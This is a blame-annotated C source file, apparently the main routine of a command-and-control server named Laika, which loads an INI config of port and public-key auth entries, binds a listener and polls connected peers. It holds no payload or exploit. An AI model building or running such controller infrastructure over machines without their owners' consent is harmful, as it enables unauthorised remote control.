2022-01-25 03:46:29 +00:00
|
|
|
#include <stdio.h>
|
|
|
|
|
2022-02-04 19:15:06 +00:00
|
|
|
#include "ltask.h"
|
2022-04-06 06:07:16 +00:00
|
|
|
#include "lconfig.h"
|
2022-01-25 03:46:29 +00:00
|
|
|
#include "cnc.h"
|
2022-04-06 04:57:37 +00:00
|
|
|
#include "ini.h"
|
2022-01-25 03:46:29 +00:00
|
|
|
|
2022-04-06 06:07:16 +00:00
|
|
|
#define STRING(x) #x
|
|
|
|
#define MACROLITSTR(x) STRING(x)
|
|
|
|
|
2022-02-04 19:15:06 +00:00
|
|
|
struct sLaika_taskService tService;
|
|
|
|
|
2022-04-06 04:57:37 +00:00
|
|
|
static int iniHandler(void* user, const char* section, const char* name, const char* value) {
|
|
|
|
struct sLaika_cnc* cnc = (struct sLaika_cnc*)user;
|
|
|
|
|
|
|
|
#define MATCH(s, n) strcmp(section, s) == 0 && strcmp(name, n) == 0
|
|
|
|
if (MATCH("auth", "public-key-entry")) {
|
|
|
|
laikaC_addAuthKey(cnc, value);
|
|
|
|
} else if (MATCH("server", "port")) {
|
|
|
|
cnc->port = atoi(value);
|
|
|
|
} else {
|
|
|
|
return 0; /* unknown section/name, error */
|
|
|
|
}
|
|
|
|
return 1;
|
|
|
|
}
|
|
|
|
|
|
|
|
bool loadConfig(struct sLaika_cnc *cnc, char *config) {
|
|
|
|
int iniRes;
|
|
|
|
|
|
|
|
printf("Loading config file '%s'...\n", config);
|
|
|
|
if ((iniRes = ini_parse(config, iniHandler, (void*)cnc)) < 0) {
|
|
|
|
switch (iniRes) {
|
|
|
|
case -1: printf("Couldn't load config file '%s'!\n", config); break;
|
|
|
|
case -2: printf("Memory allocation error :/\n"); break;
|
|
|
|
default:
|
|
|
|
printf("Parser error on line %d in config file '%s'!\n", iniRes, config);
|
|
|
|
}
|
|
|
|
return false;
|
|
|
|
}
|
|
|
|
|
|
|
|
return true;
|
|
|
|
}
|
|
|
|
|
|
|
|
int main(int argv, char *argc[]) {
|
2022-04-06 06:07:16 +00:00
|
|
|
struct sLaika_cnc *cnc;
|
2022-04-06 17:14:09 +00:00
|
|
|
char *configFile = "server.ini";
|
2022-04-06 06:07:16 +00:00
|
|
|
|
|
|
|
printf("Laika v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR) "-" LAIKA_VERSION_COMMIT "\n");
|
|
|
|
cnc = laikaC_newCNC(atoi(LAIKA_CNC_PORT));
|
2022-04-06 17:14:09 +00:00
|
|
|
|
2022-04-06 04:57:37 +00:00
|
|
|
/* load config file */
|
2022-04-06 17:14:09 +00:00
|
|
|
if (argv >= 2)
|
|
|
|
configFile = argc[1];
|
|
|
|
|
|
|
|
if (!loadConfig(cnc, configFile))
|
2022-04-06 04:57:37 +00:00
|
|
|
return 1;
|
|
|
|
|
2022-02-04 19:15:06 +00:00
|
|
|
laikaT_initTaskService(&tService);
|
2022-04-13 17:19:06 +00:00
|
|
|
laikaT_newTask(&tService, 1000, laikaC_sweepPeersTask, (void*)cnc);
|
2022-02-04 19:15:06 +00:00
|
|
|
|
2022-04-06 17:14:09 +00:00
|
|
|
/* start cnc */
|
2022-04-06 04:57:37 +00:00
|
|
|
laikaC_bindServer(cnc);
|
2022-01-25 03:46:29 +00:00
|
|
|
while (true) {
|
2022-02-04 19:15:06 +00:00
|
|
|
laikaC_pollPeers(cnc, laikaT_timeTillTask(&tService));
|
|
|
|
laikaT_pollTasks(&tService);
|
2022-01-25 03:46:29 +00:00
|
|
|
}
|
|
|
|
|
2022-02-17 23:38:34 +00:00
|
|
|
laikaT_cleanTaskService(&tService);
|
2022-01-25 17:58:36 +00:00
|
|
|
laikaC_freeCNC(cnc);
|
|
|
|
LAIKA_DEBUG("cnc killed\n");
|
2022-01-25 03:46:29 +00:00
|
|
|
return 0;
|
|
|
|
}
|